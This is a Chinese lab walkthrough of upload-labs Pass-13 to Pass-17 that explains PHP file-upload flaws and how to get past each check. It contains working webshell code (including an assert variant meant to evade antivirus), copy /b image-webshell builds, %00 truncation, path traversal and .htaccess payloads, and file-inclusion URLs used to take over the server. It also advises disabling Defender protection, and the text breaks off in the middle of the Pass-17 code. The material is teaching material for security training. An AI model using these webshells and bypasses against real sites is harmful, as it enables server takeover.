欢迎光临
我们一直在努力

upload-labs靶场的pass-13~21的解题步骤及原理讲解

前言

 本文主要内容是upload-labs靶场的pass-13~21的解题步骤及原理讲解,帮助大家更好的了解文件上传漏洞。

相信通过前文Upload-labs:部署靶场及Pass-01实战解析-CSDN博客

pass-2-12:upload-labs靶场的pass-2~21的解题步骤及原理讲解-CSDN博客

大家已经了解如何部署upload-labs靶场以及大体知道了文件上传漏洞是怎么回事

正如前言所说,每一关没有固定的方法,如果有好的其他办法,欢迎大家在评论区交流!

话不多说,我们继续深入了解——文件上传漏洞

先记得一定要把杀毒软件或者别的什么安全防护关掉!要不然会显示是病毒,不让上传

否则:

这是一个非常经典的问题!你遇到的不是 upload-labs 靶场的拦截,而是你本地 Windows 系统的 Windows Defender(安全中心)把文件给“杀”了。

当你选择文件准备上传时,Windows 检测到 whell.php 的内容(eval, $_POST 等特征)像木马,所以在文件还没发出去之前,就阻止了你的操作。

解决方法(三选一)

方法一:给文件夹加“白名单”(最推荐,一劳永逸)

既然你在做网络安全练习,以后还会遇到很多类似的文件,建议把你存放这些文件的文件夹加入排除项。

  • 点击 Windows 开始菜单,搜索“病毒和威胁防护”,打开它。
  • 在“病毒和威胁防护设置”下方,点击“管理设置”。
  • 向下滚动,找到“排除项”,点击“添加或删除排除项”。
  • 点击“添加排除项” -> 选择“文件夹”。
  • 找到并选中你的 bachang 文件夹(就是你截图里的那个文件夹)。
  • 操作完后,再次上传就不会报错了。

    方法二:直接修改文件内容(最快)

    Windows Defender 主要是检测文件里的代码特征。你只要稍微改一下内容,它就不认识了。

  • 右键点击 whell.php,用记事本打开。
  • 把代码里的 eval 改成 assert(这也是一个执行函数,在老版本 PHP 中通用,或者靶场里通常够用)。
    • 原代码:<?php @eval($_POST['cmd']); ?>
    • 改后:<?php @assert($_POST['cmd']); ?>
  • 保存。
  • 再次上传。
  • 注意:如果你用蚁剑连接,密码依然是 cmd,不需要改。

    方法三:暂时关闭实时防护(不推荐,除非前两个都不行)

  • 同样在“病毒和威胁防护设置”里。
  • 把“实时保护”的开关关闭。
  • 上传文件。
  • 记得上传完后立刻打开!
  • 建议使用方法一,这样你以后做靶场练习,不管是 Webshell 还是其他工具,都不会被系统自动删除了。搞定这个后,重新上传文件,再用蚁剑连接试试!


    在后面的解题中phpstudy可能不太适用了,很大的概率是因为phpstudy版本太高了,比较方便的方法用%00 截断天然失效!如果你真要做的话,phpStudy 2018 (老版本,自带 PHP 5.3 / 5.2)

    这是唯一能让 %00 截断生效的环境!你现在用的新版 phpStudy / XAMPP 全是 PHP 7+ / 8+

    这篇文章可以当稍微了解一下怎么个做法就好了,因为其实步骤真的差不多,一些小地方才要改

    你可以先尝试一下前面几道题,不嫌麻烦的话实操就好了

     由于环境配置问题,如果单是用phpstudy的环境只能做前面的,后面的图片马做不了

    所以推荐一个靶场运行:BUUCTF在线评测,用第一个linux运行,但是其实也有点不稳定


    pass-13(00阶段POST型)

    详细分析源代码

    一、整体功能

    这是一个基于白名单后缀校验的文件上传代码,核心流程是:

  • 检查表单是否提交
  • 提取上传文件的后缀名
  • 用白名单 jpg/png/gif 校验后缀
  • 拼接目标路径(路径由用户可控)
  • 移动临时文件到目标路径,标记上传结果

  • 二、逐行代码解析

    1. 初始化变量

    $is_upload = false;
    $msg = null;

    • $is_upload:标记上传是否成功,初始为 false。
    • $msg:存储上传过程中的提示信息,初始为 null。

    2. 表单提交判断

    if(isset($_POST['submit'])){

    判断用户是否点击了表单的 submit 按钮,只有提交请求才会进入上传逻辑。


    3. 定义白名单后缀

    $ext_arr = array('jpg','png','gif');

    定义允许上传的文件后缀白名单,只有这三种后缀的文件才会被允许上传。


    4. 提取文件后缀名

    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

    • strrpos($_FILES['upload_file']['name'], "."):找到文件名中最后一个 . 的位置(比如 shell.php.jpg 会找到最后一个 . 的位置)。
    • substr(…, 位置+1):从 . 的下一位开始截取字符串,得到文件后缀名。例如:shell.jpg → 截取后得到 jpg;shell.php.jpg → 截取后得到 jpg。

    ⚠️ 这里有个细节:如果文件名中没有 .(比如直接叫 shell),strrpos 会返回 false,substr 会从位置 false+1=1 开始截取,直接截取整个文件名,导致校验失效。


    5. 白名单校验

    if(in_array($file_ext,$ext_arr)){

    判断提取到的后缀是否在白名单数组中,只有在白名单内的文件才会进入上传流程。


    6. 获取临时文件路径

    $temp_file = $_FILES['upload_file']['tmp_name'];

    获取文件上传到服务器后的临时路径,后续会用 move_uploaded_file 移动到目标目录。


    7. 拼接目标路径(关键漏洞点)

    $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

    • $_POST['save_path']:用户可控的变量,用户可以通过 POST 请求修改这个值。
    • rand(10, 99).date("YmdHis"):生成随机数 + 时间戳,避免文件名重复。
    • 最终路径格式:用户指定的路径/随机时间戳.后缀。

    ⚠️ 这里的 $_POST['save_path'] 是用户可控的输入,且没有任何过滤,是核心安全漏洞。


    8. 移动文件并标记结果

    if(move_uploaded_file($temp_file,$img_path)){
    $is_upload = true;
    } else {
    $msg = "上传失败";
    }

    • move_uploaded_file():将临时文件移动到目标路径,成功返回 true,失败返回 false。
    • 成功时将 $is_upload 设为 true,失败时设置错误提示。

    9. 后缀不合法的处理

    } else {
    $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }

    如果文件后缀不在白名单中,提示用户只能上传指定类型的文件。


    三、核心安全漏洞分析

    这段代码的问题主要集中在路径可控和后缀校验不严谨上,在 CTF 或真实环境中都可以被利用。

    1. 路径穿越 + 解析漏洞(最严重)

    因为 $_POST['save_path'] 是用户可控的,攻击者可以通过修改这个值实现路径穿越,配合服务器解析漏洞 getshell。

    常见利用方式:

    • 路径穿越写文件:攻击者将 save_path 设置为 ../,就可以将文件上传到网站根目录之外的位置。例如:save_path=../,目标路径会变成 ..//9920250518123456.jpg,如果服务器根目录可写,就可以覆盖配置文件或写 Webshell。

    • 配合 Apache/Nginx 解析漏洞:攻击者将 save_path 设置为 xxx.php/,目标路径会变成 xxx.php/9920250518123456.jpg,如果服务器存在目录解析漏洞(如 Nginx 旧版本),会将整个路径解析为 PHP 文件,执行其中的恶意代码。

    • 写 .htaccess 控制解析:如果服务器是 Apache,攻击者可以上传 .htaccess 文件,修改 AddHandler php5-script .jpg,让 .jpg 文件被解析为 PHP。利用方式:将 save_path 设置为 .(当前目录),上传包含 AddHandler php5-script .jpg 的 .htaccess 文件,再上传图片马,即可执行代码。

    2. 后缀校验的绕过方式

    • 文件名无后缀绕过:如果上传的文件名为 shell(无 .),strrpos 返回 false,substr 会从位置 1 开始截取,得到 hell,不在白名单中,无法直接绕过,但如果结合其他漏洞仍有利用空间。
    • 双重后缀绕过:上传文件名为 shell.php.jpg,strrpos 会取最后一个 . 后的 jpg,通过白名单校验,但如果服务器存在解析漏洞(如 Apache 的 AddHandler 配置不当),仍会被解析为 PHP。
    • 大小写绕过:如果服务器是 Windows 系统,文件后缀不区分大小写,上传 shell.PHP 会被解析为 PHP,但这段代码中 $ext_arr 是小写,无法直接绕过。

    3. 其他问题

    • 没有对 save_path 做任何过滤,攻击者可以注入 /、../、%00 等特殊字符,实现路径控制。
    • 没有限制文件大小,可能导致服务器磁盘被占满。
    • 没有验证文件的真实内容(如文件头检测),只能防止简单的后缀伪造,无法阻止图片马。

    四、代码加固建议

    如果要修复这段代码的安全问题,需要从以下几个方面修改:

  • 禁止用户可控路径:直接将 save_path 改为常量,不允许用户传入:

    define('UPLOAD_PATH', './upload');
    $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_ext;

  • 过滤路径中的特殊字符:如果必须使用用户传入的路径,需要先过滤 ../、/、\\ 等字符:

    $save_path = $_POST['save_path'];
    // 过滤路径穿越字符
    $save_path = preg_replace('/\\.\\.\\//', '', $save_path);
    $save_path = preg_replace('/[\\/\\\\\\]/', '', $save_path);
    // 限制路径在指定目录内
    $img_path = UPLOAD_PATH."/".$save_path."/".rand(10, 99).date("YmdHis").".".$file_ext;

  • 增加文件头校验:用 getimagesize() 或 exif_imagetype() 检测文件的真实图片类型,防止图片马:

    $image_info = getimagesize($temp_file);
    if(!$image_info){
    $msg = "文件不是真实图片!";
    return;
    }

  • 限制文件大小和 MIME 类型:

    if($_FILES['upload_file']['size'] > 2*1024*1024){ // 限制2MB
    $msg = "文件过大!";
    return;
    }
    $mime_type = mime_content_type($temp_file);
    if(!in_array($mime_type, ['image/jpeg', 'image/png', 'image/gif'])){
    $msg = "文件MIME类型不合法!";
    return;
    }

  • 解题步骤

    一、漏洞核心回顾

    代码的致命问题:

  • 文件后缀仅做了前端式的白名单校验(只看文件名后缀)
  • 保存路径 $_POST['save_path'] 完全可控,无任何过滤→ 这是典型的路径可控 + 解析漏洞组合利用场景。

  • 二、解题前置条件

    • 目标环境:PHP + Apache/Nginx(存在目录解析漏洞 / 支持 .htaccess)
    • 你可以:
    • 抓包修改 POST 请求(推荐用 Burp Suite)
    • 上传文件后能知道文件保存路径(题目一般会回显)

    三、方法一:利用 Apache 目录解析漏洞(最通用)

    步骤 1:准备上传文件

  • 新建一个文件,命名为 shell.jpg,内容写入一句话木马: <?php @eval($_POST['cmd']);?>
    (文件名后缀必须是 jpg/png/gif 之一,否则过不了白名单)
  • 步骤 2:抓包修改 save_path 参数

  • 正常提交上传请求,用 Burp 抓包。

  • 在 POST 数据中找到 save_path 参数,修改为:

    save_path=shell.php

    (注意:这里不需要写 /,直接写 shell.php 即可)

  • 此时拼接后的文件路径为:

    shell.php/[随机时间戳].jpg

  • 步骤 3:利用解析漏洞执行代码

  • 服务器会把 shell.php/xxx.jpg 解析为 PHP 文件(Apache/Nginx 旧版本会把 / 后的内容当作路径信息,只解析前面的 shell.php 部分)。
  • 用菜刀 / 蚁剑连接 shell.php/[随机时间戳].jpg,密码 cmd,即可 getshell。

  • 四、方法二:写 .htaccess 控制解析(Apache 环境专用)

    如果目标服务器是 Apache,且开启了 AllowOverride,可以用这个方法让 .jpg 文件直接被解析为 PHP。

    步骤 1:上传 .htaccess 文件

  • 新建文件 .htaccess,内容:

    AddHandler php5-script .jpg

    (作用:让所有 .jpg 文件被当作 PHP 解析)

  • 上传 .htaccess 文件:

    • 文件名改为 .htaccess.jpg(后缀 jpg 过白名单)
    • 抓包修改 save_path 为 .(当前目录),让文件保存到网站根目录。
    • 上传成功后,.htaccess.jpg 会被保存为 ./[随机时间戳].jpg,你需要再次上传一个真正的 .htaccess 文件(或者用路径穿越覆盖为 .htaccess)。
  • 步骤 2:上传图片马

  • 新建 shell.jpg,内容写入一句话木马: <?php @eval($_POST['cmd']);?>
  • 正常上传,save_path 保持默认即可。
  • 上传成功后,直接访问 [随机时间戳].jpg,即可执行 PHP 代码。

  • 五、方法三:路径穿越直接写 Webshell(服务器目录可写时)

    如果目标服务器的根目录可写,可以直接用路径穿越把文件上传为 .php。

    步骤 1:准备文件

  • 新建 shell.jpg,内容写入一句话木马: <?php @eval($_POST['cmd']);?>
  • 步骤 2:抓包修改 save_path

  • 抓包后修改 save_path 为:

    save_path=../

    此时文件会被上传到网站根目录的上一级目录。

  • 进一步修改路径,直接写为 shell.php:

    save_path=../shell.php

    (注意:此时文件后缀会被代码自动加上 .jpg,所以需要结合其他漏洞,比如 %00 截断)


  • 六、方法四:%00 截断上传(旧版本 PHP 可用)

    如果目标 PHP 版本 < 5.3.4,且 magic_quotes_gpc=Off,可以用 %00 截断后缀。

    为什么这些条件缺一不可?

    1. PHP 版本限制

    • PHP ≤ 5.3.4:PHP 内核在处理文件路径时,会把 %00 解析为字符串结束符,导致后面的内容被截断。
    • PHP ≥ 5.3.4:修复了这个安全漏洞,内核不再把 %00 当作结束符,截断失效。

    2. magic_quotes_gpc 限制

    • magic_quotes_gpc = Off:用户传入的 %00 不会被自动转义,能原样传入内核。
    • magic_quotes_gpc = On:PHP 会自动把 %00 转义为 \\0,失去截断效果。

    步骤 1:准备文件

  • 新建 shell.php,内容写入一句话木马。
  • 步骤 2:抓包修改文件名

    方法1:

    (这个如果不行的话用方法2)

  • 上传jpg文件时,抓包修改文件名: save_path=../upload/shell.php%00
  • 点击 Burp 的「放行」按钮

  • 此时代码中 strrpos 会取最后一个 . 后的 jpg,通过白名单校验;但服务器处理路径时,%00 会截断,文件实际保存为 shell.php。
  • 为什么上传失败了?

    你用方案一的时候,save_path=../upload/shell.php%00,但上传失败,大概率是因为:

  • %00 被自动 URL 解码了(Burp 里要确保 %00 没有被自动转义成 \\0)
  • PHP 环境虽然是低版本,但 magic_quotes_gpc 开启了,%00 被转义失效了
  • 方法2

    在文件名里加 %00(本关也能用)

    修改上传文件的 filename 为:

    shell.php%00.jpg

    • 白名单校验会取最后一个 . 后的 jpg,校验通过。
    • 服务器保存时,%00 截断,文件实际保存为 shell.php。

     如果复制图片地址,新建了一个页面栏显示:

    🔍 问题诊断

    1. 为什么图片无法显示?

    你上传的文件里是纯 PHP 代码,没有任何图片文件头(比如 GIF 的GIF89a、JPG 的FFD8FF),所以浏览器会把它当成损坏的图片文件,直接报错 “无法显示”。

    2. 为什么 PHP 代码没被解析?

    文件的后缀还是.jpg,服务器只会把它当成静态图片处理,不会交给 PHP 解释器执行里面的代码。蚁剑发送的 POST 请求,服务器只会返回文件的原始内容(PHP 代码文本),不会执行,所以蚁剑提示 “返回数据为空”。

    方法3:

    上传shell.php,抓包将文件名改为shell.png(或者shell.jpg,都一样,图片文件),将参数save_path的值改为shell.php ,后面的空格将其Hex值改成00,或者按照下图,选中%00右键,点击URL-decode(网址解密)这个%00就会变成一个空格,然后后面步骤一样放行就行

    步骤 3:连接 webshell

  • 访问上传后的文件路径:http://upload-labs:8090/upload/shell.php
  • 用蚁剑 / 菜刀连接该地址,密码为 cmd,即可拿到 webshell 权限。

  • 七、解题关键总结

  • 核心利用点:save_path 可控 + 解析漏洞 / 路径穿越
  • 最通用的 Payload: save_path=shell.php + 上传 shell.jpg

  • 其他方法:.htaccess、%00 截断、路径穿越写根目录。

  • pass-14(文件头标识)

    详细分析源代码

    一、整体功能概览

    这是一个基于文件头(魔术字节)的文件上传验证代码,它的逻辑是:

  • 读取上传文件的前 2 个字节,判断文件类型
  • 只允许 jpg/png/gif 三种图片格式上传
  • 过滤掉所有无法识别的文件类型(比如 .php 脚本)

  • 二、逐行代码详解

    1. getReailFileType() 函数:核心文件头检测

    function getReailFileType($filename){
    $file = fopen($filename, "rb"); // 以二进制只读模式打开文件
    $bin = fread($file, 2); // 只读取文件的前 2 个字节(文件头)
    fclose($file);

    $strInfo = @unpack("C2chars", $bin); // 把读取的2个字节,按无符号字符解析
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); // 拼接两个字节为整数
    $fileType = '';

    // 根据文件头的数值判断文件类型
    switch($typeCode){
    case 255216: $fileType = 'jpg'; break; // JPG 文件头: FF D8
    case 13780: $fileType = 'png'; break; // PNG 文件头: 89 50
    case 7173: $fileType = 'gif'; break; // GIF 文件头: 47 49
    default: $fileType = 'unknown'; // 其他类型视为未知文件
    }
    return $fileType;
    }

    关键点:

    • 它只检查文件的前 2 个字节,不验证文件的完整内容,也不检查文件后缀
    • 不同图片格式的文件头(魔术字节)是固定的,所以可以通过这种方式快速判断文件类型

    2. 上传处理主逻辑

    $is_upload = false;
    $msg = null;

    if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时文件名
    $file_type = getReailFileType($temp_file); // 调用上面的函数,检测文件类型

    if($file_type == 'unknown'){
    $msg = "文件未知,上传失败!"; // 非图片文件直接拦截
    } else {
    // 生成保存路径:随机数 + 时间戳 + 检测到的文件类型后缀
    $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
    if(move_uploaded_file($temp_file,$img_path)){
    $is_upload = true;
    } else {
    $msg = "上传出错!";
    }
    }
    }

    关键点:

    • 保存文件时,直接用检测到的 $file_type 作为后缀(比如 .jpg),没有保留用户上传的原始文件名
    • 最终保存的文件名格式:/upload/9920260518123456.jpg,后缀由检测结果决定

    三、安全逻辑与漏洞分析

    1. 过滤机制的局限性
    • ✅ 优点:能拦截直接上传的 .php 脚本(文件头不是图片格式)
    • ❌ 缺点:只检查前 2 个字节,很容易绕过
    2. 常见绕过方法(针对这段代码)
    方法 1:图片马绕过(最常用)
  • 制作图片马:在合法图片文件里插入 PHP 代码 # 命令行合成(Windows 用 copy)
    copy /b test.jpg + shell.php shell.jpg
  • 上传这个图片马:文件头是合法图片格式,会通过检测
  • 服务器会把它保存为 .jpg 文件,但里面包含 PHP 代码
  • 如果服务器存在文件包含漏洞,或者支持解析 .jpg 里的 PHP 代码,就能执行脚本
  • 方法 2:文件头伪造绕过
  • 在 PHP 脚本文件的开头,加上对应图片的文件头:
    • JPG:ÿØ(十六进制 FF D8)
    • PNG:‰P(十六进制 89 50)
  • 保存为 .php 文件上传,前 2 个字节是合法图片格式,会通过检测
  • 服务器保存后,文件后缀还是 .php,会被直接解析执行

  • 四、和你之前遇到的 Pass-13 有什么区别?

    你之前的 Pass-13 代码,核心漏洞是 save_path 参数可控,导致 %00 截断;而这段代码的漏洞点是文件头检测的局限性,和 %00 无关,这是完全不同的关卡。


    五、这段代码的安全加固建议

  • 增加文件内容完整性校验(比如检查图片的完整结构,而不只是前 2 个字节)
  • 上传后对文件进行二次渲染(比如 GD 库重新生成图片,清除嵌入的恶意代码)
  • 限制上传文件的后缀,只允许 .jpg/.png/.gif,不允许其他格式
  • 对上传目录设置权限,禁止 PHP 脚本执行
  • 解题步骤

    步骤 1:制作图片马

    ·方法一:cmd合并

    准备三个正常的图片文件 ( 1.jpg,2.png,3.gif ) 和一个木马文件(text.php),放在同一个文件夹内。

    text.php 的内容为一句话木马:

    <?php @eval($_POST['aa']);?>

    在文件夹内打开命令提示符(CMD),执行文件合并命令:

    copy  1.jpg/b  +  text.php/a  shell.jpg
    copy  2.png/b  +  text.php/a  shell2.png
    copy  3.gif/b  +  text.php/a    shell3.gif

    (原理:将图片二进制数据与 PHP 代码文本合并,生成看似正常的图片文件 shell.jpg/shell2.png/shell3.gif)

    ·方法二:使用UltraEdit添加文件前两个字节

    (1)查找jpg,png,gif文件的前两个字节

    (2)创建txt文件,内容加上一句话木马,文件扩展名改成对应的图片文件扩展名jpg/png/gif。使用UltraEdit在文件前面添加对应两个字节。

    接下来,三种图片的操作步骤一样。

    步骤 2:上传文件

    在火狐中访问 Pass-14 页面:

    点击「浏览」,选择制作好的 三种类型图片文件,

    点击「上传」,页面提示上传成功,

    上传成功后,复制服务器返回的图片文件路径。

    步骤3:利用文件包含漏洞

    构造攻击 URL:

    找到靶场中存在文件包含漏洞的脚本(如 include.php),通过 file 参数传入刚才上传的图片路径。

    URL: http://localhost:8080/upload-labs/include.php?file=upload/4220260515182046.jpg

    原理:

    服务器接收到请求后,include.php 会将 file 参数指定的 .jpg 文件当作 PHP 脚本进行解析和执行,从而绕过文件后缀名的限制。

    步骤 4:连接 WebShell

    开启 POST 数据发送:

    如图所示,勾选 Enable Post data。

    设置连接密码:

    在 Post data 栏中输入与木马匹配的键值对。

    (数据: cmd=系统命令(木马为 eval($_POST['aa']), )

    则填 aa=phpinfo();

    验证:

    发送请求后,若页面返回 phpinfo() 的信息,说明图片马中的代码已被成功执行,漏洞利用成功。

    步骤 5:使用中国蚁剑连接 WebShell

    (1)打开中国蚁剑

    启动中国蚁剑(AntSword)软件,在“数据管理”或“虚拟终端”界面中,右键点击左侧列表,选择“添加数据”。

    (2)配置基本信息

    在弹出的“添加数据”窗口中,填写以下关键信息:

    URL 地址:填入上一步构造的文件包含漏洞利用链接。

    http://localhost:8080/upload-labs/include.php?file=upload/4220260515182046.jpg

    (注意:这里必须包含 include.php 脚本路径和 file= 参数,指向你上传的图片马)

    连接密码:填入木马文件中定义的 POST 参数名。

    根据我们的木马文件,此处应填写:aa

    (原理:木马代码为 eval($_POST['aa']),因此蚁剑需要知道通过 aa 这个键名发送指令)

    (3)测试与连接

    点击窗口上方的“测试连接”按钮。

    如果配置正确,软件会提示“连接成功”,并显示目标服务器的操作系统信息(如 Windows 或 Linux)。

    点击“添加”保存配置。

    完成通关

    在蚁剑主界面双击刚刚添加的目标链接,即可打开虚拟终端或文件管理器,成功获取服务器权限,完成通关。

    在别的博主那看到其他方法:

    通过源码可知:读取图片转化成十六进制后的前两字节,这两字节的不同对应不同的图片。 

    如果你遇到:

    Warning: Unexpected character in input

     这个问题非常经典,通常是在做文件包含(File Inclusion)配合图片马(Image Webshell)绕过时出现的。

    简单来说,这是因为 PHP 解析器在读取图片文件时,把图片二进制数据中偶然出现的 <? 字符误判为了 PHP 的短标签(Short Open Tag),导致解析混乱。

    自己部署的apache+php尝试发现不会出现这个问题,应该还是PHP版本(NTS和TS)差异造成的。 


    pass-15

    详细分析源代码

    一、整体功能概览

    这是一个基于 getimagesize() 函数的图片文件校验上传代码,核心逻辑是:

  • 用 PHP 内置的图片处理函数,验证上传文件是否为合法图片
  • 只允许 .jpeg/.png/.gif 三种格式上传
  • 校验通过后,自动生成随机文件名保存文件

  • 二、逐行代码详解

    1. isImage() 函数:核心图片校验

    function isImage($filename){
    // 定义允许的图片后缀
    $types = '.jpeg|.png|.gif';

    // 先判断文件是否存在
    if(file_exists($filename)){
    // getimagesize() 读取图片信息,返回数组,其中索引2是图片类型常量
    $info = getimagesize($filename);

    // 把图片类型常量转为文件后缀(比如 2 转为 .jpeg,3 转为 .png)
    $ext = image_type_to_extension($info[2]);

    // 判断转换后的后缀是否在允许列表中
    if(stripos($types,$ext)>=0){
    return $ext; // 校验通过,返回文件后缀
    }else{
    return false; // 校验失败,返回 false
    }
    }else{
    return false; // 文件不存在,返回 false
    }
    }

    关键细节:

    • getimagesize() 是 PHP 内置函数,它会读取文件的真实图片信息(宽高、格式等),只有合法的图片文件才能通过,纯文本的伪造文件头无法绕过它。
    • image_type_to_extension() 会根据图片的真实格式,返回标准后缀,不会被文件名的后缀欺骗。

    2. 上传处理主逻辑

    $is_upload = false;
    $msg = null;

    if(isset($_POST['submit'])){
    // 获取上传文件的临时文件名(服务器端的临时文件)
    $temp_file = $_FILES['upload_file']['tmp_name'];

    // 调用 isImage() 函数,校验文件是否为合法图片
    $res = isImage($temp_file);

    if(!$res){
    // 校验失败,提示上传失败
    $msg = "文件未知,上传失败!";
    }else{
    // 校验通过,生成保存路径:随机数 + 时间戳 + 校验得到的后缀
    $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;

    // 把临时文件移动到指定路径
    if(move_uploaded_file($temp_file,$img_path)){
    $is_upload = true;
    } else {
    $msg = "上传出错!";
    }
    }
    }

    关键细节:

    • 保存文件时,直接用 $res(校验得到的真实图片后缀)作为文件名后缀,不使用用户上传的原始文件名,避免了后缀伪造。
    • 最终文件名格式:/upload/9920260518123456.jpeg,后缀由 getimagesize() 的结果决定。

    三、安全逻辑与可利用点分析

    1. 过滤机制的特点

    • ✅ 优点:能拦截纯文本伪造文件头的脚本,也能拦截直接上传的 .php 脚本。
    • ❌ 局限性:getimagesize() 只会读取文件的图片结构信息,不会解析文件的全部内容,因此图片马可以绕过。

    2. 常见绕过方法(针对这段代码)

    方法 1:图片马绕过(最常用)
  • 制作图片马:在合法图片文件里插入 PHP 代码 # Windows 命令行合成
    copy /b test.jpg + shell.php shell.jpg
  • 上传这个图片马:getimagesize() 会识别它为合法图片,校验通过。
  • 服务器会把它保存为 .jpeg/.png/.gif 文件,但文件里包含 PHP 代码。
  • 如果服务器存在文件包含漏洞,或者配置了 .htaccess 让服务器解析图片文件为 PHP,就能执行脚本。
  • 方法 2:二次渲染绕过(部分场景)

    部分服务器会对上传的图片进行二次渲染(比如用 GD 库重新生成图片),清除嵌入的恶意代码。此时需要制作特殊的图片马,让代码在渲染后仍然存在,但难度较高。


    四、安全加固建议

  • 上传后对图片进行二次渲染(如使用 GD 库或 Imagick 重新生成图片),清除嵌入的恶意代码。
  • 限制上传文件的后缀,只允许 .jpeg/.png/.gif,并在服务器端配置禁止这些文件解析为 PHP。
  • 对上传目录设置权限,禁止脚本执行,即使文件被上传也无法运行。
  • 增加文件大小限制,防止恶意大文件上传。

  • 五、和你之前的 Pass-13 有什么区别?

    • Pass-13 的核心漏洞是 save_path 参数可控导致的 %00 截断,属于路径解析漏洞。
    • 这段代码的漏洞点是 getimagesize() 无法检测图片内部嵌入的 PHP 代码,属于文件内容校验的局限性,两者是完全不同的关卡。

    解题步骤

    步骤1:制作图片马

    • 分别新建三张小于1KB的图片

    保存为jpg、gif、png形式。

    • 使用cmd 分别输入以下三个命令,将他们都复制为shell.jpg、shell.png、shell.gif的格式

    步骤2:逐个上传到Pass-15上

    后面的步骤就都一样了,没什么区别很简单,估计做到这里,都有点做麻木了吧,哈哈哈

    以下这个方法和第14题补充的做法是一样的,可以看一下


    pass-16

    图片马(图片木马) 是网络安全领域的术语,指将恶意代码(如一句话木马) 隐藏在正常图片文件中形成的特殊 Webshell,外观上与普通图片无异,但可被特定漏洞利用执行代码。

    详细分析源代码

    一、整体功能概览

    这是一个图片上传处理代码,核心流程是:

  • 用 exif_imagetype() 检测上传文件的真实图片类型(防止后缀伪造)
  • 生成随机 + 时间戳的文件名,防止覆盖
  • 用 move_uploaded_file() 把临时文件移动到目标目录
  • 输出上传结果(成功 / 失败提示)

  • 二、逐行代码解析

    1. 自定义函数 isImage($filename)

    function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
    case IMAGETYPE_GIF:
    return "gif";
    break;
    case IMAGETYPE_JPEG:
    return "jpg";
    break;
    case IMAGETYPE_PNG:
    return "png";
    break;
    default:
    return false;
    break;
    }
    }

    • 功能:检测文件的真实图片类型,返回文件后缀名(gif/jpg/png),非图片文件返回 false。
    • 核心原理:exif_imagetype() 读取文件头,识别真实图片格式,比单纯检查后缀更安全。
    • 依赖条件:需要开启 PHP 的 exif 扩展模块,否则函数会报错。

    2. 初始化变量

    $is_upload = false;
    $msg = null;

    • $is_upload:标记上传是否成功,初始为 false。
    • $msg:存储上传过程中的提示信息,初始为 null。

    3. 处理表单提交逻辑

    if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
    $msg = "文件未知,上传失败!";
    }else{
    $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
    if(move_uploaded_file($temp_file,$img_path)){
    $is_upload = true;
    } else {
    $msg = "上传出错!";
    }
    }
    }

    • isset($_POST['submit']):判断是否是表单提交的请求。
    • $_FILES['upload_file']['tmp_name']:获取上传文件在服务器上的临时路径。
    • $res = isImage($temp_file):调用函数检测图片类型。
    • rand(10, 99).date("YmdHis").".".$res:生成随机文件名,格式为 两位随机数 + 年月日时分秒 + 真实后缀,防止文件覆盖。
    • move_uploaded_file($temp_file,$img_path):把临时文件移动到目标目录,成功返回 true,失败返回 false。

    解题步骤

    前期准备

    还是用之前的一句话木马,txt改成php文件,最终文件名为shell.php

    <?php @eval($_POST['cmd']); ?>

    随便找3个图片,(两个截的空白图片)

    一、执行以下命令生成图片马

    # 1. 生成 JPG 格式图片马(基于2.jpg)

    copy /b 2.jpg + shell.php shell.jpg

    # 2. 生成 PNG 格式图片马(基于3.png)

    copy /b 3.png + shell.php shell.png

    # 3. 生成 GIF 格式图片马(基于1.gif)

    copy /b 1.gif + shell.php shell.gif

    二、打开 Pass-16 的上传页面,依次上传shell.jpg、shell.png、shell.gif三个文件;

    每次上传成功后,务必记录服务器返回的文件路径(通常格式为./upload/xxx.jpg,比如upload/shell.jpg);

    三、点击文件包含漏洞:

    在URL后面输入?= upload/1260303760.png(上一步返回的图片路径)

    页面会返回乱码

    如果显示以下文件,那就是靶场环境问题,这个我目前还没找到方法解决,稍微看下步骤好了

    四、直接用蚁剑连接测试木马是否上传成功

    用之前其他博主的方法就是:


    pass-17(二次渲染)

    详细分析源代码

    这是一段带二次渲染的图片上传验证代码,是 Upload-Labs 中防护最严格的关卡之一。我给你逐行拆解,讲清楚它的校验逻辑、防护机制和绕过思路。


    一、整体功能概览

    这段代码实现了一个三层校验 + 二次渲染的图片上传流程:

  • 第一层:后缀校验:检查文件扩展名是否为 jpg/png/gif
  • 第二层:MIME 类型校验:检查 Content-Type 是否为 image/jpeg 等合法图片类型
  • 第三层:GD 库校验:用 imagecreatefromjpeg/png/gif() 尝试解析图片,验证文件是否为真实图片
  • 终极防护:二次渲染:用 GD 库重新生成图片,清除文件中嵌入的恶意代码,然后删除原文件

  • 二、逐行代码详解

    1. 初始化与文件信息获取

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])){
    // 获取上传文件的基本信息
    $filename = $_FILES['upload_file']['name']; // 原始文件名
    $filetype = $_FILES['upload_file']['type']; // MIME 类型(Content-Type)
    $tmpname = $_FILES['upload_file']['tmp_name']; // 服务器临时文件路径

    // 生成保存路径
    $target_path = UPLOAD_PATH.'/'.basename($filename);

    // 提取文件扩展名(如 .jpg/.png)
    $fileext = substr(strrchr($filename, "."), 1);

    关键点:

    • strrchr($filename, ".") 找到文件名中最后一个 .,substr 截取后面的部分,得到文件后缀
    • 这里的 $filetype 来自请求头,是客户端可控的,很容易伪造

    2. JPG 图片上传流程(含二次渲染)

    // 校验后缀 + MIME 类型
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
    if(move_uploaded_file($tmpname,$target_path)){
    // GD 库尝试解析图片,验证是否为真实 JPG
    $im = imagecreatefromjpeg($target_path);

    if($im == false){
    // 解析失败,说明不是真实 JPG,删除文件
    $msg = "该文件不是jpg格式的图片!";
    @unlink($target_path);
    }else{
    // 解析成功,开始二次渲染
    srand(time());
